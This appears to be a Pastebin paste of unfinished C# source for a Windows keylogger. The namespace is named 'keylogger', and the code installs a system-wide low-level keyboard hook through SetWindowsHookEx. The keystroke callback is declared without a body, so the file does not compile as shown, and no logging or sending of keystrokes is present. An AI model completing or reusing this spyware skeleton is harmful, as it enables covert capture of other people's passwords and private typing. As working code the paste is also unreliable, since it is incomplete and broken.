Advertisement
Stromeczik

Untitled

Sep 20th, 2016
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 1.99 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.Runtime.InteropServices;
  7. using System.Threading;
  8. using System.Windows.Forms;
  9. using System.IO;
  10. using System.Diagnostics;
  11.  
  12.  
  13. namespace keylogger
  14. {
  15.     class Program
  16.     {
  17.  
  18.         private const int WH_KEYBOARD_LL = 13;
  19.         private const int WM_KEYDOWN = 0x0100;
  20.         private static LowLevelKeyboardProc _proc = HookCallBack;
  21.         private static IntPtr _hookID = IntPtr.Zero;
  22.  
  23.         static void Main()
  24.         {
  25.             _hookID = SetHook(_proc);
  26.             Application.Run();
  27.             UnhookWindowsHookEx(_hookID);
  28.         }
  29.  
  30.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  31.         private static extern IntPtr SetWindowsHookEx(int idHook,LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  32.  
  33.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  34.         [return: MarshalAs(UnmanagedType.Bool)]
  35.         private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  36.  
  37.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  38.         private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,IntPtr wParam, IntPtr lParam);
  39.  
  40.         [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  41.         private static extern IntPtr GetModuleHandle(string lpModuleName);
  42.  
  43.         private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
  44.  
  45.         private static IntPtr SetHook(LowLevelKeyboardProc proc)
  46.         {
  47.             using (Process curProcess = Process.GetCurrentProcess())
  48.             using (ProcessModule curModule = curProcess.MainModule)
  49.             {
  50.                 return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName),0);
  51.             }
  52.         }
  53.  
  54.         private static IntPtr HookCallBack(int nCode, IntPtr wParam, IntPtr lParam);
  55.  
  56.  
  57.        
  58.        
  59.     }
  60. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement